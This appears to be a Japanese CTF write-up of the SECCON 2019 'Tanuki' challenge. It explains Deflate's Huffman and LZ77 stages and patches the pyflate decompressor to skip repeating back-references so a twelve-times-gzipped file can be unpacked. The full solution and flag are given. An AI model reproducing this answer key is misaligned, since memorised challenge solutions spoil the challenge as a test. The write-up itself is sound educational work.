約20KBのgzipファイルです。tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gzというファイル名から、このファイルが「12回gzipで圧縮されたテキストファイル」であることが推測できます。

展開してみましょう。

❯ gzip -dk tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz
❯ gzip -dk tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz
❯ gzip -dk tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz
❯ gzip -dk tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz
❯ gzip -dk tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz
❯ gzip -dk tanuki.txt.gz.gz.gz.gz.gz.gz.gz

6回目の展開で固まってしまいました。ファイルサイズを見てみます。

❯ ls -lSr tanuki.txt*
-rwxr-xr-x  1 omd  staff        20522 12  3 00:44 tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz*
-rwxr-xr-x  1 omd  staff        24260 12  3 00:44 tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz*
-rwxr-xr-x  1 omd  staff      3283140 12  3 00:44 tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz*
-rwxr-xr-x  1 omd  staff     44067495 12  3 00:44 tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz*
-rwxr-xr-x  1 omd  staff   1212607563 12  3 00:44 tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz*
-rwxr-xr-x  1 omd  staff  15393074341 12  3 00:44 tanuki.txt.gz.gz.gz.gz.gz.gz.gz*

5回展開した時点で約15.4GBもの大きさのファイルになっています。展開するたびに指数関数的にファイルサイズが増加しているので、このまま展開すると途方も無い大きさのファイルが出来上がってしまいます。愚直に展開するのはまず無理そうですね。

元データについて考える

このままでは展開できないので、現在分かっていることから、このファイルを繰り返し展開していったら最終的にどんなデータが出てくるか考えてみます。tanuki.txtの内容が"たぬき暗号"の暗号文だと仮定すると、FLAGのフォーマットから最終的なデータは以下のようになると考えられます。

(た*n_1)S(た*n_2)E(た*n_3)C(た*n_4)C(た*n_5)O(た*n_6)N(た*n_7){(た*n_8)...
※ (た*n)"た"がn個並んだ文字列

tanuki.txtのファイルサイズは途方も無い大きさになるので、tanuki.txtはその圧倒的大部分が"た"で埋め尽くされたものになっているはずです。

このような文字列が圧縮されると一体どのようなデータになるでしょうか?ここで、gzipに採用されているDeflateという圧縮アルゴリズムについて見てみましょう。

Deflateについて

Deflateは、ハフマン符号とLZ77という2つの可逆圧縮手法を組み合わせたアルゴリズムです。Deflateでは、最初にLZ77で圧縮を行い、その後にハフマン符号化で圧縮するという2段階の圧縮が行われます。

今回は圧縮ファイルの展開が問題なので、「どうやって符号化するか?」についてはあまり説明せず、「どうやって符号からデータを復元するか?」について理解してもらうことを目指して説明します。

ハフマン符号化

ハフマン符号は、出現頻度の高い文字を短いビット列で表し、代わりに滅多に出現しない文字を長いビット列で表すような工夫がされた符号です。ハフマン符号を使用することで文字列全体のデータ量を削減することができます。

具体例で説明します。英語ではE, T, Aの出現率が高く、逆にJ ,Q ,Zの出現率が低いことが知られています。ここで、E T A111 001 1100と短いビット列で表し、J Q Z0100001100 01000011011 01000011011と長いビット列で表す符号を作ってみましょう。この符号のビット長は文字の出現頻度に反比例するように作られており、出現頻度の高い文字を少ないビット数で表現できます。

以下の例では、tanukiという文字列をハフマン符号化しています。ascii文字として表現すると48bitになりますが、ハフマン符号として表すことで28bitにまでデータ量を削減することができました。

t        a        n        u        k        i
01110100 01100001 01101110 01110101 01101011 01101001

  ↓↓↓

t   a    n    u     k        i
001 1100 0101 01001 01000010 1011

上記の逆の操作を行い、符号を元のビット列に戻すことでハフマン符号からデータを復元することができます。

ハフマン符号は「データの出現頻度」に注目した圧縮手法であるといえます。

LZ77

LZ77は、文字列中において、過去に出現したことのある文字列が再出現した際に、その文字列を「前回出現した箇所までの距離」と「長さ」の情報で構成される符号に置き換え、全体のデータ量を削減するアルゴリズムです。ここでは、符号を[距離,長さ]として表現します。例として、次のような文字列を考えてみます。

Tanuki tanuki tanuki tanuki tanuki tanuki!?

この内の一部を取り出して符号に置き換えてみましょう。

Tanuki tanuki

  ↓↓↓

Tanuki t[7,5]

ここでの[7,5]符号の位置より7文字前から5文字を意味しています。符号の位置から7文字戻って5文字を抜き出すとanukiになります。[7,5]anukiで置き換えると元通りになることが分かりますね。

この符号を使って残りの文字列も符号化するとどうなるでしょうか。結果は次のようになります。

Tanuki tanuki tanuki tanuki tanuki tanuki!?

  ↓↓↓

Tanuki t[7,33]!?

この符号は一見するとおかしく見えます。なぜなら、[7,33]が示している符号の位置より7文字前から33文字は、現在の符号の位置を超えてしまっているからです。この部分に何が入るのか分からないので、取り敢えず?としてみましょう。

anuki t??????????????????????????

この?の部分に何が入るかというと、現在明らかになっている部分、つまりanuki tの繰り返しが長さいっぱいまで入ります。つまり、次のようになります。

anuki tanuki tanuki tanuki tanuki

この文字列で[7,33]を置き換えると元通りに文字列を復元できることが分かります。このような表現をすることで、LZ77では文字列の繰り返しを効率的に圧縮することができるというわけです。

LZ77は、「データの繰り返し」に注目した圧縮手法であるといえます。

圧縮データについて考える

Deflateは「最初にLZ77で圧縮を行い、その後にハフマン符号化で圧縮する」のでした。たぬき暗号のデータをDeflateで圧縮すると、どのようなデータになるか考えてみましょう。なお、ここではイメージを掴んでもらうことを優先しているため、厳密な説明ではありません。ご容赦ください。

まずは、LZ77で符号化すると以下のような符号に置き換えられると予想できます。

(た*n_1)S(た*n_2)E(た*n_3)C(た*n_4)C(た*n_5)O(た*n_6)N(た*n_7){(た*n_8)...

  ↓↓↓

た[1,n_1-1]Sた[1,n_2-1]Eた[1,n_3-1]Cた[1,n_4-1]Cた[1,n_5-1]Oた[1,n_6-1]Nた[1,n_7-1]{た[1,n_8-1]...

しかし、実際のDeflateのアルゴリズムでは符号が表す文字列の長さの最大値は258文字までとなっており、長さが258文字を超えると1つの符号では表現できなくなります。そのため、次のように[1,258]の符号を並べて表現することになります。このように表現すると、[1,258]一つが258文字の"た"に置き換わります。

1回目の圧縮データ

た[1,258][1,258][1,258][1,258][1,258][1,258][1,258][1,258][1,258][1,258][1,258]...

この文字列をもう一度LZ77で圧縮するとどうなるでしょうか?ここでは[1,258](C)に置き換えて表現し、(C)の文字列長を2文字とします。

2回目の圧縮データ

た(C)[2,258][2,258][2,258][2,258][2,258][2,258][2,258][2,258][2,258][2,258][2,258]...

(C)"た"*258文字だったので、ここでの[2,258](C)*129個、つまり"た"*33282文字を表していることになります。ここで重要なのは、「同じデータがひたすら繰り返されるデータ」を圧縮したデータは、元と同じく「同じデータがひたすら繰り返されるデータ」になる、ということです。

実際にはこの2回のLZ77圧縮の間にはハフマン符号化が挟まりますが、ハフマン符号化は個々の文字を符号に置き換えてしまうだけなので、符号化後も「同じデータがひたすら繰り返されるデータ」であることと、「繰り返し部分は展開すると"た"になる」ことには変わりありません。この後10回Deflate圧縮を繰り返すわけですが、このような圧縮後のデータの繰り返しは最後まで残り続けます。

このLZ77のデータの繰り返しさえどうにかして無効化することができれば、データの整合性を保ちつつ、不必要な"た"の展開を防ぐことができそうだ、ということが分かります。

LZ77の繰り返しを無効化する

では、どうすればLZ77の繰り返し表現を無効化することが出来るでしょうか?

LZ77の符号において、繰り返しは「現在の符号の位置を超える長さの符号」として表現するのでした。つまり、[1, 258]のように、距離 <= 長さとなっている符号は繰り返しを表現する符号である、とみなすことができるはずです。

この事から、「gzipファイルを展開中に、距離 <= 長さとなっているLZ77の符号が出現したら無視する」という実装にしてあげれば、繰り返し表現を無効化しつつ圧縮ファイルを展開することができると考えられます。

pyflateの修正

今回は、pyflateという純Python製のgzip展開プログラムを改造して実装することにしました。

LZ77の符号の展開処理はpyflate.pyの605行目に書かれている以下のコードで行われています。

while length > distance:
    out += out[-distance:]
    length -= distance
if length == distance:
    out += out[-distance:]
else:
    out += out[-distance:length-distance]

変数名が示すとおり、distanceは距離を表し、lengthは長さを表しています。先程までの表記で符号を表すと[distance,length]ですね。outは符号から展開されたデータで、while文の中のコードがまさにデータの繰り返しを展開する処理を行っています。

符号が距離 <= 長さとなっていた場合に無視するようにしてあげれば良いので、以下のように修正を加えました。条件を満たした際に符号の展開をスキップするif文を2〜3行目に足しています。

# 距離 <= 長さの場合無視する
if distance <= length:
    continue
while length > distance:
    out += out[-distance:]
    length -= distance
if length == distance:
    out += out[-distance:]
else:
    out += out[-distance:length-distance]

さて、このプログラムで問題のファイルを展開するとどうなるでしょうか。

展開する

元々のpyflateはカレントディレクトリに./outという名前で展開ファイルを出力してしまうので、便利のために元々のファイル名から'.gz'を削って出力するコードを追加しました。

if __name__ == "__main__":
    filename = sys.argv[1]

    if filename.endswith('.gz'):
        with open(filename) as input:
            field = RBitfield(input)
            magic = field.readbits(16)
            out = gzip_main(field)
            with open(filename[:-len(".gz")], "w") as f:
                f.write(out)

これで修正は全てです。早速展開してみます。

❯ python2 pyflate.py tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz
...
❯ python2 pyflate.py tanuki.txt.gz.gz.gz.gz.gz.gz.gz

前回は固まってしまった6回目の展開も一瞬で終わりました。

❯ ls -lr tanuki.txt*                                       
-rwxr-xr-x  1 omd  staff  20522 12  3 00:44 tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz*
...
-rw-r--r--  1 omd  staff   6824 12  8 03:41 tanuki.txt.gz.gz.gz.gz.gz.gz

ファイルサイズも増えるどころか減っていっていることが分かります。

❯ ls -l tanuki.txt
-rw-r--r--  1 omd  staff    255 12  8 03:44 tanuki.txt

その後も順調に展開に成功し、無事に最後のgzipを解凍することができました!最終的なファイルサイズは僅か255バイトになっています。

FLAG

❯ cat tanuki.txt
たSたEたCたCたOたたたNた{たDた3たFたLたaたTたたた3た_た1たsた_たたたたたsたたたたたたたたたたたたたたたたたたた0た_たたたCたOたMたPたLたEたXたたた,た_たBた4たbたyたたたたた!た}たたた

展開されたファイルの内容は以上のようなものです。少し"た"が残っていますが…

❯ cat tanuki.txt | sed -e 's/た//g'
SECCON{D3FLaT3_1s_s0_COMPLEX,_B4by!}

任意の方法で"た"を取り除けばFLAGを得ることができます。

SECCON{D3FLaT3_1s_s0_COMPLEX,_B4by!}

おわりに

この記事ではSECCON 2019 Online CTFの"Tanuki"という問題をご紹介しました。やったことと言えば既存Deflate実装のソースコードに2行足しただけなのですが、ここに2行を足すためにはLZ77の繰り返しの仕組みを正しく理解している必要があり、個人的にはとても勉強になって良い問題だと思いました。

今年のSECCONは他にも沢山楽しい問題があり、参加者として満足の行くものでした。R19というチームでSECCON 2019 国内決勝にも参加させていただく予定です。

もしこの記事を読んでCTFに興味を持った方がいらっしゃったら、初心者向けCTFのpicoCTFをおすすめします。CTFはコンピュータセキュリティの総合格闘技と言われたりしますし、ゲーム感覚で学べて非常に楽しいのでどんどん広めていきたいですね。